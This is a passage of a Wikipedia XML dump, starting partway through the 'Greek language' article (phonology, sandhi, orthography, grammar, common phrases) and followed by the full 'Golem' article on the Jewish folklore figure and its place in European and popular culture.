| align=&quot;center&quot;| [[Bilabial nasal|m]]
| align=&quot;center&quot;| {{IPA|[[Labiodental nasal|ɱ]]}}
| align=&quot;center&quot;| 
| align=&quot;center&quot;| [[Alveolar nasal|n]]
| align=&quot;center&quot;| {{IPA|[[Palatal nasal|ɲ]]}}
| align=&quot;center&quot;| {{IPA|[[Velar nasal|ŋ]]}}
|-
| [[trill consonant|'''Trill''']]
| align=&quot;center&quot;|
| align=&quot;center&quot;|
| align=&quot;center&quot;|
| align=&quot;center&quot;| {{IPA|[[Alveolar trill|r]]}}
| align=&quot;center&quot;|
| align=&quot;center&quot;|
|-
| [[fricative consonant|'''Fricative''']]
| align=&quot;center&quot;| 
| align=&quot;center&quot;| [[Voiceless labiodental fricative|f]] [[Voiced labiodental fricative|v]]
| align=&quot;center&quot;| {{IPA|[[Voiceless dental fricative|θ]] [[Voiced dental fricative|ð]]}}
| align=&quot;center&quot;| [[Voiceless alveolar fricative|s]] [[Voiced alveolar fricative|z]]
| align=&quot;center&quot;| {{IPA|[[Voiceless palatal fricative|ç]] [[Voiced palatal fricative|ʝ]]}}
| align=&quot;center&quot;| [[Voiceless velar fricative|x]] {{IPA|[[Voiced velar fricative|ɣ]]}}
|-
| [[affricate consonant|'''Affricate''']]
| align=&quot;center&quot;|
| align=&quot;center&quot;|
| align=&quot;center&quot;|
| align=&quot;center&quot;| {{IPA|[[Voiceless alveolar affricate|ʦ]] [[Voiced alveolar affricate|ʣ]]}}
| align=&quot;center&quot;|
| align=&quot;center&quot;|
|-
| [[Approximant|'''Approximant''']]
| align=&quot;center&quot;|
| align=&quot;center&quot;|
| align=&quot;center&quot;|
| align=&quot;center&quot;| 
| align=&quot;center&quot;| [[Palatal approximant|j]]
| align=&quot;center&quot;|
|-
| [[Lateral approximant|'''Lateral approximant''']]
| align=&quot;center&quot;|
| align=&quot;center&quot;|
| align=&quot;center&quot;|
| align=&quot;center&quot;| [[Lateral alveolar approximant|l]]
| align=&quot;center&quot;| {{IPA|[[Lateral palatal approximant|ʎ]]}}
| align=&quot;center&quot;|
|}

Greek /p/, /t/ and /k/ are not [[aspiration (phonetics)|aspirated]] as they are in English. They tend to be voiced to /b/, /d/ and /g/ in Cretan and Cypriot dialects. The letter &lt;ρ&gt; is generally pronounced /r/, but tends to be pronounced {{IPA|/ɾ/}} in intervocalic position.

Standard Modern Greek does not have double consonants within words, although some dialects (notably Cypriot) do.

===Sandhi rules===

Greek has certain [[sandhi]] rules, some represented in the orthography, some not.

/n/ before bilabials and [[Velar consonant|velars]] becomes /m/ and /{{IPA|[[Velar nasal|ŋ]]}}/ respectively, and is written &lt;μ&gt; (συμπάθεια, &quot;sympathy&quot;) and &lt;γ&gt; (συγκρητισμός, &quot;syncretism&quot;). Before the labiodental fricatives &lt;φ&gt; and &lt;β&gt;, it is also written &lt;μ&gt;, but pronounced /{{IPA|[[Labiodental nasal|ɱ]]}}/ (συμφωνία, &quot;symphony&quot;).

The combination &lt;μπ&gt; is pronounced /mb/ after vowels (but often reduced to /b/), else /b/. In some words, especially in Northern dialects, could also be pronounced /mp/.

The combinations &lt;γγ&gt; and &lt;γκ&gt; are pronounced /ŋg/ or /{{IPA|ŋɟ}}/ after vowels, else /g/ or /{{IPA|[[Voiced palatal plosive|ɟ]]}}/. An exception to this rule is the word &lt;συγγνώμη&gt; (freely translated &quot;I'm sorry&quot;) in which /n/ is phonetically dropped and the word is pronounced /{{IPA|siˈŋgnomi}}/ (this is actually an older form of the word, the current orthography is &lt;συγνώμη&gt;, pronounced /{{IPA|siˈγnomi}}/, in which /n/ is dropped both phonetically and literally).

The combination &lt;ντ&gt; is pronounced /nd/ after vowels (but often reduced to /d/), else /d/. In some words, especially in Northern dialects, could also be pronounced /nt/.

The sounds /k/ and /g/, before the front vowels /{{IPA|[[Close-mid front unrounded vowel#mid front unrounded vowel|e̞]]}}/ and /i/, are palatalized, becoming /{{IPA|[[Voiceless palatal plosive|c]]}}/ and /{{IPA|[[Voiced palatal plosive|ɟ]]}}/. In some dialects, notably in Crete, they become [{{IPA|[[Voiceless alveolo-palatal affricate|ʨ]]}}] and [{{IPA|[[Voiced alveolo-palatal affricate|ʥ]]}}].

The word {{polytonic|ἐστὶ}} (estí, IPA /{{IPA|e̞sˈti}}/), which means &quot;is&quot; in Ancient Greek (q.v. Modern Greek είναι), gains a &quot;''euphonic''&quot; n. in Modern Greek, the negative adverb δεν and the accusative articles τον and την  lose the final /n/, depending on the beginning letter of the next word (if it's a consonant, /n/ is usually dropped). In the phrase δεν πειράζει, which means &quot;it doesn't matter&quot;, instead of being dropped, n is assimilated into the second word and, following the example above, np is pronounced /mp/ in Northern Greece and /mb/ in Southern Greece, thus producing the sound /ðempirázi/ or /ðembirázi/.

Some of these rules are optional, and reflect the formality of speech. While everyday spoken Greek sounds artificial if the sandhi rules are ''not'' used, a formal or official speech may sound equally awkward if sandhi rules ''are'' used.

===Orthography===

The Greek vowel letters with their pronunciation are: &lt;α&gt; {{IPA|/a/}}, &lt;ε&gt; {{IPA|/e̞/}}, &lt;η&gt; {{IPA|/i/}}, &lt;ι&gt; {{IPA|/i/}}, &lt;ο&gt; {{IPA|/o̞/}}, &lt;υ&gt; {{IPA|/i/}}, &lt;ω&gt; {{IPA|/o̞/}}. There are also vowel digraphs, called &quot;double-digit vowels&quot; which are phonetically monophthongal: &lt;αι&gt; {{IPA|/e̞/}}, &lt;ει&gt; {{IPA|/i/}}, &lt;οι&gt; {{IPA|/i/}}, &lt;ου&gt; {{IPA|/u/}}, &lt;υι&gt; {{IPA|/i/}}. The three digraphs &lt;αυ&gt;, &lt;ευ&gt; and &lt;ηυ&gt; are pronounced {{IPA|/av/}}, {{IPA|/e̞v/}} and {{IPA|/iv/}} except when followed by unvoiced consonants, in which case they are pronounced {{IPA|/af/}}, {{IPA|/e̞f/}} and {{IPA|/if/}}.

Modern Greek has also four diphthongs: &lt;αη&gt; (or &lt;άη&gt;) {{IPA|/aj/}}, &lt;αϊ&gt; (or &lt;άι&gt;) {{IPA|/aj/}}, &lt;οη&gt; (or &lt;όη&gt;) {{IPA|/o̞j/}} and &lt;οϊ&gt; (or &lt;όι&gt;) {{IPA|/o̞j/}} (diphthongs can better be transcribed using the IPA non-syllabic diacritic under {{IPA|/i/}} instead of the approximant {{IPA|/j/}}).

The Greek letters &lt;β&gt; and &lt;δ&gt; are pronounced {{IPA|/v/}} and {{IPA|/ð/}} respectively. The letter &lt;γ&gt; is generally pronounced {{IPA|/ɣ/}}, but before the mid or close front vowels, it is pronounced {{IPA|/ʝ/}}.

The letters &lt;θ&gt;, &lt;φ&gt; and &lt;χ&gt; are pronounced {{IPA|/θ/}}, {{IPA|/f/}} and {{IPA|/x/}}. The letter &lt;χ&gt;, before mid or close front vowels, is pronounced {{IPA|/ç/}}. The letter &lt;ξ&gt; stands for {{IPA|/k͡s/}} and &lt;ψ&gt; stands for {{IPA|/p͡s/}} (the tie bar is used to indicate that, in Modern Greek, &lt;ξ&gt; and &lt;ψ&gt; should be considered sibilant affricates). The digraphs &lt;γγ&gt; and &lt;γκ&gt; are generally pronounced {{IPA|/g/}}, but are pronounced {{IPA|/ɟ/}} before mid or close front vowels. When these digraphs are preceded by a vowel, they are pronounced {{IPA|/ŋg/}}  ({{IPA|/ŋɟ/}} before mid or close front vowels). The digraph &lt;γγ&gt; may be pronounced {{IPA|/ŋɣ/}} in some words ({{IPA|/ŋʝ/}}) before mid or close front vowels). It is better to use a tie bar above {{IPA|/ŋg/}}, {{IPA|/ŋɟ/}}, {{IPA|/ŋɣ/}} and {{IPA|/ŋʝ/}}, when used for Greek words, to indicate the simultaneous articulation.

===Historical sound changes===

See: [[History of the Greek language]], [[Ancient Greek pronunciation]]

==Grammar==
Modern Greek is still largely a [[synthetic language]]. It is one of the few Indo-European languages that has retained a synthetic [[passive voice|passive]]. Noticeable changes in its grammar (compared to Classical Greek) include the loss of the [[dative]], the [[optative mood]], the [[infinitive]] the [[dual number]], and the [[participle]]s (except the past participle); the adoption of the [[gerund]]; the reduction in the number of noun [[declension]]s, and the number of distinct forms in each declension; the adoption of the [[modal particle]] ''θα'' (a corruption of ''{{Polytonic|ἐθέλω ἵνα}}'' &gt; ''θέλω να'' &gt; ''θε' να'' &gt; ''θα'') to denote future and conditional tenses; the introduction of [[auxiliary verb]] forms for certain tenses; the extension to the future tense of the aspectual distinction between present/imperfect and aorist; the loss of the third person imperative,  and the simplification of the system of grammatical prefixes, such as [[augment (linguistics)|augmentation]] and [[reduplication]]. Some of these features are shared with other languages spoken in the Balkan peninsula (see [[Balkan linguistic union]]).

[[Archaism|Archaic]] forms are still used in formal writing and in a few expressions like εντάξει (entáxei /{{IPA|ɛnˈdaˌksi}}/), which means &quot;OK&quot; (literally: &quot;in order&quot;) or ''ζήτω!'' ('long live!');

==Writing system==
{{Table_Greekletters}}
{{sectstub}}
Modern Greek is written in the late [[Ionic]] variant of the [[Greek alphabet]], the oldest discovered inscriptions of which date to the 8th or 9th Century BC, assumed its final form in 403 BC, and displaced other regional variants due to its use for the [[Attic]] ''[[Koine]]'' dialect during the [[Hellenistic]] era.

The Greek alphabet consists of 24 letters, each with a capital and lowercase (small) form: 
[[Alpha (letter)|Α α]],
[[Beta (letter)|Β β]],
[[Gamma|Γ γ]],
[[Delta (letter)|Δ δ]],
[[Epsilon|Ε ε]],
[[Zeta (letter)|Ζ ζ]],
[[Eta (letter)|Η η]],
[[Theta|Θ θ]],
[[Iota|Ι ι]],
[[Kappa (letter)|Κ κ]],
[[Lambda|Λ λ]],
[[Mu (letter)|Μ μ]],
[[Nu (letter)|Ν ν]],
[[Xi|Ξ ξ]],
[[Omicron|Ο ο]],
[[Pi (letter)|Π π]],
[[Rho (letter)|Ρ ρ]],
[[Sigma (letter)|Σ σ ς (word-final form)]],
[[Tau|Τ τ]],
[[Upsilon|Υ υ]],
[[Phi (letter)|Φ φ]],
[[Chi (letter)|Χ χ]],
[[Psi (letter)|Ψ ψ]],
[[Omega|Ω ω]].

In addition to the letters of the alphabet, Greek has a number of diacritical signs, most of which were eliminated from official use in Greece in 1982 as no longer corresponding to the modern pronunciation of the language. See [[Monotonic orthography]] for the simplified modern set, and [[Polytonic orthography]] for the traditional set.

==Examples==
===Some common words and phrases===
*Greek (man): Έλληνας, IPA /{{IPA|ˈe̞liˌnas}}/
*Greek (woman): Ελληνίδα /{{IPA|ˌe̞liˈniða}}/
*Greek (language): Ελληνικά /{{IPA|e̞ˌliniˈka}}/
*hello: γεια /{{IPA|ʝa}}/ (informal, literally &quot;health&quot;),  you say this only to people that you know well. When you address a stranger you should use the more formal &quot;good morning&quot;: καλημέρα /{{IPA|ˌkaliˈmɛɾa}}/
*good-bye: αντίο /{{IPA|aˈdiˌo̞}}/ (formal), γεια /{{IPA|ʝa}}/ (informal)
*please: παρακαλώ /{{IPA|paˌɾakaˈlo̞}}/
*I would like ____ please: θα ήθελα ____ παρακαλώ /{{IPA|θa ˈiθe̞ˌla ____ paˌɾakaˈlo̞}}/
*sorry: συγγνώμη /{{IPA|ˌsiˈɣno̞mi}}/
*thank you: ευχαριστώ /{{IPA|e̞ˌfxaɾiˈsto̞}}/
*that/this: αυτό /{{IPA|ˌaˈfto̞}}/
*how much?: πόσο; /{{IPA|ˈpo̞ˌso̞}}/
*how much does it cost?: πόσο κοστίζει; /{{IPA|ˈpo̞ˌso̞ ˌko̞ˈstizi}}/
*yes: ναι /{{IPA|ne̞}}/
*no: όχι /{{IPA|ˈo̞ˌçi}}/
*I don't understand: δεν καταλαβαίνω /{{IPA|ðe̞ŋ gaˌtalaˈve̞no̞}}/ (''[[sandhi]]'' - see above) or /{{IPA|ðe̞ŋ kaˌtalaˈve̞no̞}}/
*I don't know: δεν ξέρω /{{IPA|ðe̞ŋ ˈgze̞ˌɾo̞}}/ (''[[sandhi]]'' - see above) or /{{IPA|ðe̞ŋ ˈkse̞ˌɾo̞}}/
*where's the bathroom?: πού είναι η τουαλέτα; /{{IPA|pu ˈiˌne̞ i ˌtuaˈlɛta}}/
*generic toast: εις υγείαν! /{{IPA|is iˈʝiˌan}}/
*juice: χυμός /{{IPA|ˌçiˈmo̞s}}/
*water: νερό /{{IPA|ˌne̞ˈɾo̞}}/
*wine: κρασί /{{IPA|ˌkɾaˈsi}}/
*beer: μπύρα /{{IPA|ˈbiˌɾa}}/
*milk: γάλα /{{IPA|ˈɣaˌla}}/
*Do you speak English?: Μιλάτε Αγγλικά; /{{IPA|miˈlaˌte̞ ˌaŋgliˈka}}/
*I love you: σ’ αγαπώ /{{IPA|ˌsaɣaˈpo̞}}/
*Help!: Βοήθεια! /{{IPA|vo̞ˈiθiˌa}}/

==References==
*Herbert Weir Smyth, ''Greek Grammar'', Harvard University Press, 1956 (revised edition), ISBN 0674362500.  The standard grammar of ''classical'' Greek.
*W. Sidney Allen, ''Vox Graeca - a guide to the pronunciation of classical Greek''. Cambridge University Press, 1968-74. ISBN 052120626X
*Geoffrey Horrocks, ''Greek: A History of the Language and Its Speakers'' (Longman Linguistics Library). Addison Wesley Publishing Company, 1997. ISBN 0582307090.  From Mycenean to modern.
*Robert Browning, ''Medieval and Modern Greek'', Cambridge University Press, 2nd edition 1983, ISBN: 0521299780.
*Brian Newton, ''The Generative Interpretation of Dialect: A Study of Modern Greek Phonology'', Cambridge University Press, 1972, ISBN 0521084970.
*Crosby and Schaeffer, ''An Introduction to Greek'', Allyn and Bacon, Inc. 1928. A school grammar of anchient Greek
*David Holton ''et al.'', ''Greek: A Comprehensive Grammar of the Modern Language'', Routledge, 1997, ISBN: 041510002X.  A reference grammar of ''modern'' Greek.
*Dionysius of Thrace, [http://www.fh-augsburg.de/~harsch/graeca/Chronologia/S_ante02/DionysiosThrax/dio_tech.html &quot;Art of Grammar&quot;], &quot;Τέχνη γραμματική&quot;, c.100 BC

==See also==
*[[List of Greek words with English derivatives]]
*[[Greek dialects]]
*[[Greeklish]]

==External links==
===General background===
{{InterWiki|code=el}}
{{Wikibookspar||Modern Greek}}
*[http://www.ling.ohio-state.edu/~bjoseph/articles/gmodern.htm Modern Greek], ''Encyclopedia of the World's Major Languages'', Brian Joseph
*[http://www.ling.ohio-state.edu/~bjoseph/articles/gancient.htm Ancient Greek], ''Encyclopedia of the World's Major Languages'', Brian Joseph
*[http://www.bartleby.com/65/gr/Greeklan.html Greek Language], Columbia Electronic Encyclopedia.
*[http://www.perseus.tufts.edu/ The Perseus Project] has many useful pages for the study of classical languages and literatures, including dictionaries.
*[http://greek-language.com The Greek Language and Linguistics Gateway] Useful information on the history of the Greek language, application of modern Linguistics to the study of Greek, and tools for learning Greek.

===Language learning===
*[http://zeus.pi-schools.gr/dimotiko/ Online pdf versions of the books used in Elementary School. Useful for beginners]
*[http://www.explorecrete.com/various/greek-numbers.htm Learn how to count in Greek]
*[http://www.explorecrete.com/various/Greek-Alphabet.htm Flash presentation with the sound of the letters of the Greek Alphabet]
*[http://www.sprachprofi.de.vu/english/gr.htm Free online resources for learners (both Ancient and Modern Greek)]
*[http://www.explorecrete.com/various/greek-language.htm Learn basic Greek words and phrases] and the speeches of Xenophon Zolotas, Dr. Soukakos, Athnassopoulos and Kalaras
*[http://www.xanthi.ilsp.gr/filog/ Learn Greek - Official site of the Greek Institute of language and speech processing]
*[http://didymos.kypros.org/LearnGreek/ Learn Greek Online], free modern Greek course with realaudio files.
*[http://www.applelanguages.com/en/learn/greek.php Greek courses]
*[http://www.textkit.com/ Learn Ancient Greek] at Textkit.  Free downloadable Ancient Greek grammars and readers.

==Literature==
*[http://www.mlahanas.de/Greeks/NewLiteratur/Literature.htm Page about modern Greek Literature]

===Typography===
*[http://www.ecclesia.gr/greek/help.htm#english Athena], [[public domain]] [[Polytonic orthography|polytonic]] Greek [[typeface|font]]
*[http://www.sil.org/~gaultney/gentium/ Gentium &amp;mdash; a typeface for the nations], a freely available font including polytonic Greek support
*[http://www.lorem-ipsum.info/_greek Generator for Greek typographical filler text]

===Lexica===
*[http://www.translatum.gr Translatum - The Greek Translation Vortal]. An extended list of searchable and downloadable Greek dictionaries.
*[http://www.kypros.org/cgi-bin/lexicon Modern Greek&amp;ndash;English, English&amp;ndash;Modern Greek dictionary]. (Basic dictionary) 
*[http://www.perseus.tufts.edu/cgi-bin/resolveform Ancient Greek Dictionary], the complete Liddell-Scott dictionary, including search within English definitions.
*[http://www.websters-online-dictionary.org/definition/Greek-english/ Greek&amp;ndash;English Dictionary]: from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition. 
*[http://www.lib.uchicago.edu/efts/Woodhouse/ Woodhouse English-Greek dictionary], scanned images from S.C. Woodhouse's 1910 dictionary. 
 
===Spell checkers===
*[http://www.phigita.net/spell-check/ Greek Spell Checker] helps ensure correct spelling.

==Special characters==
{{SpecialChars}}

{{Official EU languages}}

[[Category:Greek letters]]
[[Category:Hellenic languages and dialects|*]]
[[Category:Languages of Albania]]
[[Category:Languages of Cyprus]]
[[Category:Languages of Egypt]]
[[Category:Languages of Georgia]]
[[Category:Languages of Greece]]
[[Category:Languages of Ukraine]]
[[Category:Languages of Turkey]]
[[Category:Languages of Italy]]
[[Category:Fusional languages]]
[[Category:Ancient languages]]

[[af:Grieks (taal)]]
[[als:Griechische Sprache]]
[[ar:لغة يونانية]]
[[ast:Griegu]]
[[bg:Гръцки език]]
[[be:Грэцкая мова]]
[[br:Gresianeg]]
[[ca:Grec]]
[[cs:Řečtina]]
[[da:Græsk (sprog)]]
[[de:Griechische Sprache]]
[[et:Kreeka keel]]
[[el:Ελληνική γλώσσα]]
[[es:Idioma griego]]
[[eo:Greka lingvo]]
[[eu:Greko]]
[[fr:Grec]]
[[ga:Gréigis]]
[[gl:Grego antigo]]
[[ko:그리스어]]
[[id:Bahasa Yunani]]
[[ia:Lingua grec]]
[[is:Gríska]]
[[it:Lingua greca]]
[[he:יוונית]]
[[ka:ბერძნული ენა]]
[[kw:Grew]]
[[la:Lingua Graeca]]
[[lv:Jaungrieķu valoda]]
[[lt:Graikų kalba]]
[[lb:Griichesch]]
[[li:Nuigrieks]]
[[hu:Görög nyelv]]
[[mk:Грчки јазик]]
[[ms:Bahasa Greek]]
[[nl:Grieks]]
[[nds:Greeksche Spraak]]
[[ja:ギリシア語]]
[[no:Gresk språk]]
[[nn:Gresk språk]]
[[oc:Grègo]]
[[pl:Język grecki]]
[[pt:Língua grega]]
[[ro:Limba greacă]]
[[ru:Греческий язык]]
[[simple:Greek language]]
[[sl:Grščina]]
[[sr:Грчки језик]]
[[tr:Yunanca]]
[[fi:Kreikan kieli]]
[[sv:Grekiska]]
[[tl:Wikang Griyego]]
[[th:ภาษากรีก]]
[[vi:Tiếng Hy Lạp]]
[[zh:希腊语]]</text>
    </revision>
  </page>
  <page>
    <title>Golem</title>
    <id>11888</id>
    <revision>
      <id>41395072</id>
      <timestamp>2006-02-27T01:18:07Z</timestamp>
      <contributor>
        <username>Ashmoo</username>
        <id>194089</id>
      </contributor>
      <comment>/* Books, films and TV */ Pls only include details that are relevant to the golem.</comment>
      <text xml:space="preserve">{{dablink|[[Golem (ILP)|Golem]] is also the name of an [[inductive logic programming]] system. [[Golem (Pokémon)|Golem]] is also a rock-type [[Pokémon]]. }}

In [[Jewish folklore]], a '''golem''' (גולם, sometimes [as in Yiddish] pronounced ''goilem'') is an animated being which is crafted from inanimate material. In modern [[Hebrew language|Hebrew]] the word ''golem'' denotes &quot;fool&quot;, &quot;silly&quot;, or even &quot;stupid&quot;, &quot;clue-less&quot;, and &quot;dumb&quot;, and literally means &quot;cocoon&quot;. The name appears to derive from the word ''gelem'' (גלם), which means &quot;raw material&quot;.

==History==

===Origins of the word===
The word ''golem'' is used in the [[Bible]] to refer to an embryonic or incomplete substance: [[Psalms|Psalm]] 139:16 uses the word &quot;&lt;b&gt;g&lt;/b&gt;a&lt;b&gt;l&lt;/b&gt;'&lt;b&gt;m&lt;/b&gt;i&quot;, meaning &quot;my unshaped form&quot; (in Hebrew, root words are defined by sequences of consonants, ie. &lt;b&gt;glm&lt;/b&gt;). The [[Mishnah]] uses the term for an uncultivated person (&quot;Ten characteristics are in a learned person, and ten in an uncultivated one&quot;, [[Pirkei Avoth]] 5:7). Similarly, Golems are used today primarily in [[metaphor]] either as brainless lunks or as entities serving man under controlled conditions but enemies in others. Similarly, it is a [[Yiddish language|Yiddish]] slang insult for someone who is clumsy or slow.

===Earliest stories===
The earliest stories of golems date to early Judaism.  [[Adam and Eve|Adam]] is described in the Talmud (Tractate [[Sanhedrin]] 38b) as initially created as a golem when his dust was &quot;kneaded into a shapeless hunk&quot;. Like Adam (whose name literally means &quot;red [clay],&quot;) all golems are created from [[mud]]. They were a creation of those who were very holy and close to [[God]].  A very holy person was one who strove to approach God, and in that pursuit would gain some of God's wisdom and power.  One of these powers was the creation of life.  No matter how holy a person became, however, the being they created would be but a shadow of one created by God.

Early on, the notion developed that the main disability of the golem was its inability to speak. In [[Sanhedrin]] 65b, it describes how [[Rabba]] created a golem using the [[Sefer Yetzirah]]. He sent the golem to Rabbi [[Zeira]]. Rabbi Zeira spoke to the golem, but he did not answer. Said Rabbi Zeira, &quot;I see that you were created by one of our colleagues; return to your dust.&quot;

===Owning and activating golems===
Having a golem servant was seen as the ultimate symbol of wisdom and holiness, and there are many tales of golems connected to prominent rabbis throughout the [[Middle Ages]].

Other attributes of the golem were gradually added over time. In many tales the Golem is inscribed with magic or religious words that keep it animated. Writing one of the [[Names of God in Judaism|names of God]] on its forehead, a slip of paper attached to its forehead, or on a clay tablet under its tongue, or writing the word ''Emet'' (אמת, 'truth' in the [[Hebrew language]]) on its forehead are examples of such words. By erasing the first letter in ''Emet'' to form ''Meit'' (מת, 'death' in Hebrew) the golem could be deactivated.

===The classic narrative===
The most famous golem narrative involves [[Judah Low ben Bezalel|the Maharal]] of [[Prague]], a [[16th century]] [[rabbi]]. He is reported to have created a golem to defend the Prague [[ghetto]] from [[Anti-Semitism|Anti-Semitic]] attacks. The story of the Golem first appeared in print in 1847 in a collection of Jewish tales entitled ''Galerie der Sippurim'', published by Wolf Pascheles of Prague. About sixty years later, a fictional account was published by Yudl Rosenberg (1909). According to the legend, Golem could be made of clay from the banks of the [[Vltava]] river in Prague. Following the prescribed rituals, the Rabbi built the Golem and made him come to life by reciting special incantations in Hebrew. As Rabbi Loew's Golem grew bigger, he also became more violent and started killing people and spreading fear. Rabbi Loew was promised that the violence against the Jews would stop if the Golem was destroyed. The Rabbi agreed. To destroy the Golem, he rubbed out the first letter of the word &quot;emet&quot; from the golem's forehead to make the Hebrew word &quot;met&quot;, meaning death. 
The existence of a golem is sometimes a mixed blessing.  Golems are not intelligent - if commanded to perform a task, they will take the instructions perfectly literally.

===The hubris theme===
In all Jewish kabbalistic descriptions of Golems, they are incapable of disobeying the one who created them, but in one version of the story, Rabbi Eliyahu of Chelm created a Golem that grew bigger and bigger until it tore the name of God from its forehead, whereupon it fell over its creator. The [[hubris]] theme in this version is similar to that in the stories of the monster of [[Frankenstein]] and of the broomstick in [[The Sorcerer's Apprentice]]. It remains a standard feature of golems in popular culture.

===The golem in European culture===
In the late nineteenth century the golem was adopted by mainstream European society. Most notably [[Gustav Meyrink]]'s [[1915]] novel ''[[The Golem (Meyrink)|Der Golem]]'' based on the tales of the golem created by [[Judah Low ben Bezalel]].  This book inspired a classic set of [[Expressionism (film)|expressionistic]] [[silent movies]], [[Paul Wegener]]'s Golem series, of which especially ''Golem: How He Came Into the World'' (also released as ''The Golem'', 1920, USA 1921) is famous. Another famous treatment from the same era is [[H. Leivick]]'s 1921 Yiddish-language &quot;dramatic poem in eight sections&quot; ''[[The Golem (Leivick)|The Golem]]''.  Also notable is [[Julien Duvivier]]'s &quot;Le Golem&quot; (1936), a sequel to the Wegener film.

These tales saw a dramatic change, and some would argue a Christianization, of the golem.  Christianity, far more than Judaism, has long had a deep concern with humanity getting too close to God.  The golem thus became a creation of overambitious and overreaching mystics, who would inevitably be punished for their blasphemy, very similar to [[Mary Shelley]]'s ''[[Frankenstein]]'' and the [[alchemy|alchemical]] [[homunculus]]. In [[Norse mythology]], Mökkurkálfi (or Mistcalfa) was a clay giant, built to help the [[troll]] [[Hrungnir]] in a battle with [[Thor]]. The Golem has also been considered by some to be an early [[android]], further divorcing it from its roots.

In America, the opera &quot;'The Golem' by Abraham Ellstein retells in 20th-century harmonic language the centuries-old tale of a creature fashioned from clay and brought to life by kabbalistic spells who ultimately threatens the very people he was intended to serve.&quot; (quote from Milken website) Selections are available on disc from the Milken Archive of American Jewish music.

==In popular culture==
&lt;!--Please only insert notable examples here, as this list is potentially endless--&gt;

===Books, films and TV===

Probably as a result of the popularity of Meyrink's work, the golem concept has found its way into various elements of popular culture. Examples include:

* The Golem of Prague has appeared in stories across many media, including the novels ''[[The Amazing Adventures of Kavalier and Clay]]'', ''[[A Calculus of Angels]]'', ''[[He, She and It]]'', [[Pete Hamill]]'s ''Snow in August'', the 1990s cartoons ''[[The Real Adventures of Jonny Quest]]'' and ''[[Gargoyles (animated series)|Gargoyles]]'', and the computer games [[Vampire: The Masquerade - Redemption]] and [[Indiana Jones and the Emperor's Tomb]].

* Edward Einhorn's ''Golem Stories'' appearing in his book of plays entitled ''[http://www.untitledtheater.com/GMS.htm The Golem, Methuselah, and Shylock]'' includes a golem that has the soul of a young man who was the fiance of the Rabbi's daughter.

* Also inspired in part by the story of the Golem of Prague, [[Ted Chiang]] wrote a short story &quot;[[Seventy-Two Letters]]&quot; which explores the role of language in the creation of golems. The story won the [[Sidewise Award for Alternate History]] in 2000. It can be found in the collection ''[[Stories of Your Life and Others]]''.

* [[Karel Capek|Karel Čapek]]'s [[1921]] play ''[[R.U.R. (Rossum's Universal Robots)]]'' included robots which are not machines, but synthetic humans made from a claylike goo.

* The science-fiction novel ''[[Kiln People]]'' by [[David Brin]] features short-lived duplicates of people created from mud, and a character named Maharal.

* [[Golem XIV]] is name of  a hyper-intelligent computer from a sci-fi novel written by [[Stanisław Lem]] in [[1981]]

* [[Stel Pavlou]] uses multiple golems created from carbon based nanotechnology as the guardians of Atlantis in the novel ''[[Decipher (novel)|Decipher]]'' [[2001]].

* [[Roger Zelazny]] uses the golem metaphorically as an android sparring partner, literally called a golem, in the novel ''[[This Immortal]]''.

* The ''[[Discworld]]'' novel ''[[Feet of Clay]]'' by [[Terry Pratchett]] satirizes many of the cliches of the golem genre. Another Discworld novel, ''[[Going Postal]]'' sees golems trained as postmen, and compares them to the robots of [[Isaac Asimov]]. The oldest of these golems carries clay tablets on his arm and in his head, alluding to Jewish mythology. 

* The television program ''[[The X-Files]]'' aired an episode &quot;[[Kaddish]]&quot;, in which a young [[Hasidic]] woman creates a Golem who avenges her husband's murder by [[neo-nazi]]s.

* In the [[anime]] series ''[[RahXephon]]'', the main weapons are called &quot;Dolems&quot;. Like golems, they are made from clay and may be difficult to control. The D in &quot;Dolem&quot; is a pun on &quot;[[solfege|Do-Re-Mi]]&quot;.

* The [[DC Comics]] [[superhero]] [[Ragman]] was created using the same formula required to make a golem, though it substituted rags instead of clay and required a human host to function. Another DC hero, the [[Monolith (comics)|Monolith]], is a golem.

* A golem which is eventually destroyed by changing the word 'emet' on its forehead to 'met' is used in both an early issue of the ''[[Swamp Thing]]'' and ''[[The Invaders]]'' [[comic books]].

* In the [[Bartimaeus Trilogy]] book ''[[The Golem's Eye]]'' by [[Jonathan Stroud]] a golem is loose in London.

* In [[2005]], the story of the Golem was returned to its Jewish roots, as a new [[comic strip]] in [[Israel|Israeli]] newspaper [[Yedioth Ahronoth]] depicted the Golem as a government-funded [[superhero]] protecting Israel from its domestic and existential difficulties.

* In the ''[[Dreamhunter Duet]]'' by [[Elizabeth Knox]] a young dreamhunter replaces her missing father with a golem.

* In the novel [[Iron Council]] by [[China Mieville]] a [[Thaumaturge]] named Judah Low learns how to create powerful golems from almost any material. These are used to assist a group of rebels

* In an episode of the animated television series [[Batman Beyond]], the young Batman fights a human controlled robot with the acronym G.L.M.

===Golems in modern games===
Golems also appear as a popular feature of the [[Dungeons &amp; Dragons]] [[role-playing game| role-playing games]] (including a playable race in the [[Ebberon]] supplement called Warforged) and are almost ubiquitous in the many fantasy computer and card games inspired by it, such as [[NetHack]], the [[Final Fantasy]] series, the [[Ogre Battle]] series, and [[Magic: The Gathering]]. In these games the word is generally used as an [[umbrella term]] to refer to [[automata]] and [[simulacra]] from many mythologies. The convention is that they are named after the material of construction. Examples include Clay golems (most like the original Jewish golem), Flesh golems (stiched-together abominations reminiscent of [[Frankenstein]]'s creature), Iron golems (animated metal statues), and a host of others including gold golems, stone golems and paper golems.

The second [[Fullmetal Alchemist]] game, ''Curse of the Crimson Elixir'', features golems as enemies.  They have magic symbols on their bodies that keep them alive.  They were created by an ancient [[alchemy]]-using civilization for use as slaves. These golems have several extra abilities such as the ability to diguise themselves as humans.

The &quot;[[mon (monster)|mon]]&quot; genre of [[video games]] often include a monster named &quot;golem&quot; or having golem-like qualities, usually animated rock or earth in a vaguely [[anthropomorphic]] shape, such as [[Golem (Pokémon)|Golem]], [[Regirock]], [[Regice]] and [[Registeel]] from ''[[Pokémon]]'', [[Golemon]] from ''[[Digimon]]'' and the breed called Golem in [[Monster Rancher]].

==The Golem in the Czech Republic==
The Golem is a popular figure in the [[Czech Republic]]. There are several restaurants and other businesses named after him. [[Strongman (strength athlete)|Strongman]] René Richter goes by the nickname &quot;Golem,&quot; and a Czech [[monster truck]] outfit calls itself the &quot;Golem Team.&quot;

==Further reading==

* Moshe Idel. ''Golem: Jewish Magical and Mystical Traditions on the Artificial Anthropoid''. State University of New York Press, 1990.

* Gershon Winkler. ''The Golem of Prague: A New Adaptation of the Documented Stories of the Golem of Prague''. Judaica Press, 1980.

